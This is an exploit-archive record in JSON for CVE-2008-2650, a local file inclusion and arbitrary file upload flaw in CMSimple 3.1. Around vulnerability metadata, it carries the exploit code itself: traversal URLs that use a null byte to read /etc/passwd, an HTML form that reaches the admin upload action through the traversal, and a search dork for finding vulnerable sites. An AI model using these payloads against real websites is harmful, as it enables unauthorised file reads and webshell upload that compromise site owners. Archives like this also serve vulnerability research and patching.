{"exploit":{"id":"EDB-5700","name":"CMSimple 3.1 - Local File Inclusion (LFI) / Arbitrary File Upload","description":"CMSimple 3.1 - Local File Inclusion (LFI) / Arbitrary File Upload","cves":["CVE-2008-2650"],"author":"irk4z","published":"2008-05-31","platform":"php","type":"webapps","language":"HTML","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5700","path":"exploits/php/webapps/5700.html","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5700.html","vulnerabilities":[{"id":"CVE-2008-2650","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2650","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2650"},"updatedAt":"2024-08-07T09:05:30.471Z","retrievedAt":"2026-11-27T10:11:52.090Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5700.png?v=2","url":"https://exploitbin.com/exploits/EDB-5700","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5700/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5700/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<pre>\n#\n# CMSimple 3.1 Local File Inclusion / Arbitrary File Upload\n# download: http://www.cmsimple.org/?Downloads\n# dork: \"Powered by CMSimple\"\n#\n# author: irk4z@yahoo.pl\n# homepage: http://irk4z.wordpress.com\n#\n\n\nLocal File Inclusion :\n\n\thttp://[host]/[path]/index.php?sl=[file]%00\n\thttp://[host]/[path]/index.php?sl=../../../../../../../etc/passwd%00\n\n\nArbitrary File Upload (into http://[host]/[path]/downloads/ ):\n</pre>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"http://[host]/[path]/index.php?sl=../adm&adm=1\" >\n<input type=\"file\" class=\"file\" name=\"downloads\" size=\"30\">\n<input type=\"hidden\" name=\"action\" value=\"upload\">\n<input type=\"hidden\" name=\"function\" value=\"downloads\">\n<input type=\"submit\" class=\"submit\" value=\"Upload\">\n</form>\n\n# milw0rm.com [2008-05-31]","sha256":"73d83c1c1daaef913518146e8be4021705b267ff94885e4471ef7f30002272ce","bytes":788,"fetchedAt":"2026-11-27T10:11:51.919Z","encoding":"utf-8 (display only; download retains original bytes)"}